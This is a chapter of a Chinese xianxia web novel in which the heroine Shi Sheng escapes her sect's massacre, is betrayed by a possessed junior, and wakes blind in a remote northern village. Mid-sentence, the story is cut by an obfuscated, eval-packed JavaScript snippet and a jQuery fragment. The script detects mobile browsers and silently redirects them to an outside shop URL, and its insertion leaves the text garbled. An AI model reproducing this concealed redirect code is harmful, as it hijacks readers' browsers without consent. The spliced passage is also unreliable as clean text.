18.师门篇(完)
作品:《师门被灭,只剩我一个NPC》 “师姐!”时初一把抓住还在愣神的时笙向山下狂奔,双目赤红,“等我们回来,定要为小鹤儿报仇!”
“师姐!我们要活下去!”
时笙咽下喉间的一片腥甜,是啊,要活下去。
可是眼前不断穿梭的景象,身后追逐的合欢宗弟子。
对上了,都对上了。
唯一对不上的,只有师尊给她的保命玉佩不知丢在了何处。
时笙深吸一口气目光坚定地拿回主动权,手中瞬移符箓不断消耗,她带着时初不过眨眼间就越过了一座峰头抵达山脚。
“咚!咚!咚!”
三声震耳欲聋的钟声响起,瞬移符箓忽的失效,时笙和时初一头撞在透明的防护罩。
是宗门的护山大阵。
可护山大阵怎么会阻止自己宗门弟子出去?
“逃啊,怎么不逃了?”合欢宗那几人慢悠悠地落地,好整以暇地看着狼狈的时笙二人。
他们看出了时笙被护山大阵弹回的瞬间,忍不住轻蔑地笑出声:“这样吧,我们能让你们两个人当中活下来一个,怎么样?”
时笙下意识地想到了幻境中时初刺向她画面。
“呸,当我三岁小孩呢!”时初啐一口唾沫,凶巴巴地护在自家师姐身前,“你们这群人模狗样的东西要是想放过我们,就根本不会提这种条件!”
合欢宗众人被骂得脸都黑了,正欲发作,只听空中一声巨响!
“咔嚓!”一道粗壮的雷电终是从空中狠狠劈下!
时笙想象中阵法挡住雷电的情况没有出现,那道雷电没有任何阻碍地劈向议事殿所在的山头,连带着幻月宗的建筑都抖了三抖。
她立刻意识到,护山大阵的防护罩在议事殿的上空开了口子,所以护山大阵不是为了保护师尊而开,甚至不是为了保护幻月宗而开,那是为什么?
总不能是为了阻止他们逃跑……想到这里的时笙一时间不敢面对这个解释。
趁着众人恍惚间,一道黑漆漆的空间裂缝开在身侧,时初拉着时笙就要踏进去。
忽然一阵诡异的空气波动挠得时笙太阳穴直跳,她下意识地扫视向合欢宗的方向,还真在一处远远地树梢上看到一个粉色宗袍的女人。
那女人无声地吹奏陶陨,风吹倒了她的帽子露出艳丽的面容。
是弘桃!
“铿锵”金属交错声中,时笙收回视线,若有所觉地看向手握短剑刺向她胸口的时初。她早在看到幻觉的那一天就时刻穿着刀枪不入的金丝软甲,还真派上了用场。
她抬手轻轻抚上时初的面颊,目光死死地盯着在时初面上游动的金色虫子。
小八体内怎么会有金线蛊王!
“时笙!”娄无双匆匆赶来就看到让她目眦欲裂的一幕,她一剑将时初挑开,以身挡在时笙和合欢宗众人之间。
“放她走!”娄无双冷着脸忐忑地将话出口,她不知道对方会不会听,毕竟从议事殿偷听到的指令是将近月峰的那几人赶尽杀绝。
合欢宗的人不想搭理她,就算娄无双是极品灵根如今也不过金丹后期,要不是有人护着她,按照这群人的性格定然是要把娄无双扼杀在低阶修为时期。
领头那人正烦躁如何完成任务,目光扫过一处后立刻松口:“当然可以,不过只能她一个走。”
那人抬手间将昏厥的时初拉扯到自家阵营:“借了你们这么多年的师妹,如今该要回来了。”
“走!”娄无双深怕身后的傻姑娘要和她师门同生共死,幽深的眼眸死死地盯着时笙,低声说,“你跟我说过,只要命还在,希望就在,你不能死在这儿!”
和娄无双相处这么多年,时笙心跳如鼓瞬间明白了对方话里的意思,有人不想让他们活……
可让她抛下师门独自苟活,她做不到!
时笙喉间如同堵着一块金,吞不下去,也吐不出来。
第二道雷劫划破苍穹在幻月宗炸响的那一刻,天际传来一道指令:“叛徒时辰勾结鬼蜮,门下时姓弟子皆为同党,活捉他们!”
同一时间娄无双为时笙做了决断,她抬手将人推入空间裂缝,可随之而来的还有来自元婴后期的攻击。
时笙无处可逃硬生生受了一击,本就强弩之末的她忍不住呛出鲜血,身躯滑倒在空间裂缝。
“不要!”娄无双想要托住她,可裂缝消失,只余下衣襟被溅的鲜血,刺目且晃眼。
空气仿佛在此刻凝滞。
金色的灵气漩涡自娄无双周身卷起,脑海中时笙吐血的记忆无法抹去,她目光猩红,质问眼前合欢宗众人:“你们不是说好了放她走!”
合欢宗领头那人扯了扯嘴角,嘲讽地邪笑:“对啊,死着走不也是走?”
无尽的怒火从心头燃烧,烧尽了娄无双理智,只是火刚烧起来就被人强制扑灭。
幻月宗掌门亲自出手将人劈晕,带离了此处。
假惺惺地看着幻月宗掌门把人带走,合欢宗领头那人撇了撇嘴,暗骂一声假模假样。不过炉鼎是有了,等他先尝尝再送回去,到时候再编个话糊弄过去……
这人想得很美,只是一回头就发现人不见了:“炉鼎呢!”
“回师兄,弘桃师姐把人带走了。”
“弘桃!”那人咬牙切齿,他早就看那娘们不爽了,明明都是修合欢心法的偏偏她装得跟个贞洁烈妇似的。
——
天地间一片寂寥,时笙醒来时入目的只有无边无际、白茫茫一片的雪,四周安静到连一只飞鸟都没有,只能听见她自己清晰的心跳声和喘息声。
空中雪花无声飘落,恍惚间时笙以为自己回到了小乞丐的时候。
冰冷,无力,几近于死亡。
她动了动僵硬的手臂想要从储物袋中拿出丹药疗伤,却发现灵力匮乏无法到动用。
随着呼吸,彻骨的寒气进入肺部惹得她克制不住地咳。
即便夜幕降临雪山依旧是耀眼的白,如今有一个好消息和一个坏消息。
好消息是她的身子能动了。
坏消息是,这个地方没有火灵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296179|197964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
力,所以她只要在这雪山一日,就无法吸收灵力治愈疗伤。
时笙拖着满是伤痕的沉重身躯,深一脚浅一脚的踩在半人高的雪面,看着前方的山脊埋头向前,只有这样才能在一望无际的雪山中给她一个前进的动力。
只是太阳不知为什么一直没有升起,她只好跟着记忆中的方向前进,每一脚都仿佛踩在棉花上。
忽然她脚下一空,身体极速下坠,凛冽的寒风割得面颊发烫,可他根本来不及多想,下一刻冰冷刺骨的水流淹没口鼻,刺骨的寒意从四面八方扎进她的骨头。
黑暗中,除了她急促呛水的声音只剩下冰层缓慢破碎的声音……
——
昏沉的意识从意识海深处浮起,时笙轻轻动弹,每一寸疼痛就沿着骨头缝细密密的啃食着她的神经。
恍惚间好像有阳光照射在她的身体,这份温暖美好得让时笙不敢确定。
不知过了多久,她竭尽全力睁开双眼,眼前黑乎乎一片。
手指摩挲着身下粗糙的草席,鼻尖闻到人世间的烟火味和苦涩的草药味,听到了火苗跳动的声音以及人们说话的声音。
一时间恍如隔世。
她竟然真得活了下来。
“吱呀”一声响,时笙下意识侧眸看去,依旧是黑漆漆一片,但她听到来人轻浅的脚步声,应当是位女子。
“你醒了?”林喜儿满心欢喜地开口,“我还以为你这一身伤死无疑了呢,没想到你竟然活了过来。看样子是老天慈悲,不想让这世间再多一个苦命的人。”
时笙的唇上忽然被异物压住,耳边是林喜儿雀跃的声音:“少喝一些水吧,等会我去给你做一些流食。”
时笙配合着喝了些水,温水入喉,身子许是感受到了切实的暖意轻松了些许,只是不知为何依旧说不出话。
所幸这里虽然灵气稀薄,但能够修炼,虽然进度缓慢,但总归是有了希望。
这样的状况似乎持续了很久,时笙依旧看不到阳光,所幸林喜儿是个活泼的人,每次来看她都叽叽喳喳说个不停。
从她的话里得知,这里是大陆极北之域的一座小村落,她是这儿的医师,某天去雪山采药从一片冰湖之中捞到了被冻成冰块的时笙,便带回家死马当活马医。
“今天立秋天气可好了,我推你出去晒晒太阳。”
立秋了,时笙记得师门出事那日应当是夏季,骄阳似火、万物生机盎然。
林喜儿吭哧吭哧地忙得满头大汗,把人推在了院落中太阳最好的位置,她还贴心地在顶上安了一层轻纱,免得太阳太烈将人晒坏了。
等她忙完回身看向时笙时,忽然发现了一丝不对。
她伸手在病弱的少女面前晃了晃,却被一把抓住。
林喜儿提起来的心瞬间落了回去:“吓死我了,我还以为你眼睛……”
“看不见了。”这是时笙醒来后说得第一句话。
时笙松手,阳光下她的眼睛泛着灰色的光芒,她看向林喜儿,扯出一抹笑:“好像确实看不见了。”

